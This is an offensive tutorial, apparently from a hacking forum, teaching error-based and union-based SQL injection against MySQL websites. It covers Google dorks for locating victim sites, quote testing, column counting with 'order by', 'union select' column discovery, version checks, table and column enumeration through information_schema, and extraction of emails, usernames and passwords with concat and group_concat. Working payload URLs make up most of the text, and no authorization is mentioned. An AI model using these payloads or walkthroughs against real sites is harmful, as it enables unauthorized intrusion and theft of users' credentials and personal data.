Contents

1A: Understanding SQL Injection

SQL Injection is one of todays most powerful methods of system penetration, using error based queries one is able to extract data (tables & columns) from a vulnerable system, namely the (database).

1B: Tricks & Tips

Beginners tend to believe that using tools created by advanced SQL injection artists are the best way around things, please believe that they aren't, everything seems nice and easy with tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download links for both applications around the world on hacking forums have been known to very securely encrypt these tools with malicious files or backdoors etc, I've experienced this first hand when I first started out. Learning everything manually will help you understand the environment you are attempting to penetrate, whilst experimenting with commands you have learnt will only help you become more advanced in SQL injection, as for tricks, there are many articles named (Cheat Sheets) because this is what they are, purposely created for SQL injectors to use commands which aren't normally spoken of or known about, Samples are provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:

When I first started SQL injection personally for me it wasn't to hard to get on the ball and learn quickly, this is because I had previous knowledge of web-scripts, how the internet works, and the ability to read and understand complicated tutorials. I believe it's a whole lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take on board everything you see. When I was a beginner I found it easier to attack whilst reading, do everything in stages, don't read the whole tutorial and go off and expect to inject off the top of your head.

2A Searching for Targets

Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common method of searching is (Dorks). Dorks are an input query into a search engine (Google) which attempt to find websites with the given texxt provided in the dork itself. So navigate to Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind even I get it..

2B: Testing Targets for Vulnerabilities

It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the site if it's vulnerable to SQL injection.

Example:
http://www.site.com/index.php?Client_id=23

To test, just simply add an asterik ' at the end of the URL

Example:
http://www.site.com/index.php?Client_id=23'

How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately vulnerable, which is where the fun starts.

2C: Finding Columns & the Vulnerable Columns

As I noted in the first section of the tutorial I advise you do pretty much everything manually with SQL injection, so by using the following commands (providing they're followed correctly) you will begin to see results in no time :D

Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

From using **order+by+** command and incremating the number each time until the page displays an error is the easiest method to find vulnerable columns, so from the examples above when attempting to order the columns by 4 there's an error, and so column 4 doesn't exist, so there's 3 columns.

2D: Finding Vulnerable Columns

Ok so let's say we were working on the site I used above, which has 3 columns. We now need to find out which of those three coluns are vulnerable. Vulnerable columns allow us to submit commands and queries to the SQL database through the URL. (**union+select**)

Selects all columns provided in the URL and returns the value of the vulnerable column e.g. 2.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

The site should refresh, not with an error but with some content missing and a number is displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites you are required to null the value you're injecting into.

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23 like so: -23
So the URL should now look something like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,2,3

Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2 being the vulnerable column for us to inject into.

3A: Obtaining the SQL Verison

Easier said than done, using the information found in the above sections e.g. amount of columns and the vulnerable column. We now use a command (**@@version**) and in some cases a series of commands to determine what the SQL version is on the current site. Version 4 or version 5. See the example below to view what a URL should look like when the version command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column on the example site.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3

What you need to look for is a series of numbers e.g:
5.0.89-community
4.0.45-log

If the above failes and the site just returns an error or displays normally then we need to

use the convert function in order for the server to understand the command, don't worry though this is usually the only thing you need to convert and it's on a rare occasion where this is the case.

So, if the example site returned an error we need to replace @@version with the convert() function:
convert(@@version using latin1)

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3

Now if the page still decides to not return the error then the query must be hexxed:
unhex(hex(@@version))

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3

Depending on which version the SQL server it is, whether it be 4, or 5 the queries for obtaining data from both versions are different, version 4 and 5 tables are explained below

---

3B Version 4
- 1. Obtaining Tables and Columns

You will notice that obtaining tables and columns from version 4 MySQL servers is a little more time consuming and confusing at times as we have to guess pretty much everyhing.

Because version 5 is more up to date and has information_schema which the database and tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.

So, back to the example URL:
wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3

We must now go back to the original URL which is:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?

The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (**from**) command followed by the table name you are looking to see

exists.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

Usual tables most people search for consist of obtaining user data, so again, be creative

just like with the dorks, common table names I use:

tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,

customers, orders, phpbb_users, phpbb_admins

So if we tried the following as an example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
^^^^^
No Error

Now which table do you think exists..?
:D The table users exists

We are now required to guess column names from the existing table. So thinking logically,

which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Typical columns found in the users table.

So we now must think back to which column is vulnerable (in this case 2) and so we'll use

the URL and replace 2 with the column name you are attempting to see if exists in the users

table. Let's try a few of the typicals listed above:

wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users
^^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
^^^^^
No Error

From the above we can clearly see that the column email exists within the table users, the page should return displaying data (most probably an email address) or the data you are extracting i.e if you pulled password from users and the column exists the first password within that column will be displayed on screen.

2. Commands

From here we will be able to use certain commands to determine the amount of data we pull from the database or which exact record you wish to pull from a column.

concat()

We will now use the concat() function to extract data from multiple columns if only one column is vulnerable, in this case remembering back the vulnerable column is 2, so we can only query in within this space.

Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed

like:this

Example:

wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users

The above will output the first email and password found in the table.

group_concat():

We will now use the group_concat() function to group all data from one column and display them on one page. Same as the above concat() command just grouping all records together and displaying them as one.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from users

Now the above should return ALL e-mails and passwords listed in the email and passwords column within the users table.

limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for instance we wanted to obtain the 250th record for emails in the table users. We would use:

limit 250,1
Thus displaying the 250th e-mail within the data.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1

Version 5
- 1. Obtaining Table Names

Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and quickest version of MySQL to hack, so many things are already done for you, so realise the possibilities and be imaginative.

Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables < For table extraction

So, example of the URL from earlier, but imagine it is now version 5

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab

les

The above URL will display only the first table name which is listed in the database information_schema. So using **group_concat()**
just like in version 4 works with the same principle.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from information_schema.tables

We should now be able to see all the tables listed on one page, sometimes the last tables will be cut off the end because a portion of the page will be covered in table names from information_schema which aren't useful for us so really, I usually prefer to display table names from the primary database rather than information_schema, we can do the following by using the **+where+table_schema=database()** command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+inf

ormat

ion_schema.tables+where+table_schema=database()

Example List of tables:
About, Admin, Affiliates, Access, Customer, Users

Now all tables should be displayed from the primary database, take your pick and get ready

to extract columns.

2. Obtaining Column Names from Table Names

Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name

And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.

The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

Say for instance the following columns were displayed:
username, password, id, admin_user

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin

Will display the first username and password data entries from the columns username and password in the table Admin.

You can still use group_concat() & limit 0,1
Exactly the same as version 4.